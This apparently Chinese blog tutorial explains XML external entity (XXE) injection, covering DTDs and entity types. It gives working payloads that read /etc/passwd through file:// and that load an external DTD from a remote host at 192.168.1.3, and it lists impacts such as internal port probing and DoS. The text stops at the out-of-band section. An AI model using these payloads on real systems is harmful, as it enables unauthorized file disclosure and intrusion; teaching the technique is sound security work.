首页 技术 正文
技术 2022年11月17日
0 收藏 767 点赞 2,373 浏览 1650 个字

xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则
xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
xml文档结构:xml声明,DTD文档类型定义,文档元素

html用来显示数据
xml用来传输数据
<!DOCTYPE 变量名 [ 定义的元素 ] >
<!ELEMENT 变量名 (定义元素的名称)>

<?xml version=’1.0′ encoding=’utf-8′?> xml声明
<!DOCTYPE copyright [ DTD 文档类型定义
<!ELEMENT note (to,reset,login)> 定义元素 note为父元素
<!ENTITY test SYSTEM ‘url’> 定义外部实体test
]>
<to>
<reset> 下面为文档元素
<login>&test;</login> 调用test实体
<secret>login</secret>
</reset>
<to>

在一个甚至多个xml文档中频繁使用某一条数据,我们可以预先定义一条数据的别名,就是一个ENTITY,然后在这些文档中需要该数据的地方调用它,根据实体的来源我们可以分为内部实体和外部实体,xml定义了两种类型ENTITY,一种在xml文档中使用,另一种作为参数在DTD文件中使用,定义好的ENTITY在文档中通过“&实体名;”来使用

DTD,Documnet Type Definition就是文档类型定义,是一种xml约束模式语言,属于xml文件组成的一部分
DTD有三种应用形式:
1,内部DTD文档
<!DOCTYPE 根元素【定义内容】>
2,外部DTD文档
<!DOCTYPE 根元素 SYSTEM “DTD文件路径”>
3,内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM “DTD文件路径” 【定义内容】>

XXE—>通过调用DTD文档中外部实体来触发漏洞

xml外部实体注入
xml实体分为普通实体和参数实体
实体类型:普通实体,外部实体,参数实体,外部参数实体
普通实体:用在xml文档中,声明方式:<!ENTITY 实体名 “实体内容”>,外部实体<!ENTITY 实体名 SYSTEM “外部文件URL地址”> ,引用方式&实体名;
参数实体:只用在DTD中元素和属性的声明中,声明方式,<!ENTITY %实体名 “文件内容”>,<!ENTITY %实体名 SYSTEM “外部文件URL地址”,引用方式 %实体名;

外部普通实体,读取目标服务中文件
通过file协议,引入外部普通实体,读取目标服务中文件实例
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM “file:///etc//passwd”>
]>
<test>&xxe;</test>

引入外部参数实体outdtd.dtd文件
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE reset [
<!ENTITY % a SYSTEM “http://192.168.1.3/out.dtd”>
%a;]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

outdtd.dtd
<!ENTITY xxe SYSTEM “file:///etc/passwd”>

xml支持的协议
php:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
.net:file,http,https,ftp

危害
使用file读取敏感文件,比如配置文件,etc/passwd等
内网服务探测,http://127.0.0.1:80 22 3306等,根据返回页面提示不同,确定内网服务
DOS攻击,递归调用,占用大量服务器资源

无回显(盲型xxe)
使用数据带外技术(OOB),比如

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,492
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,907
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,740
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,493
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:8,132
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:5,295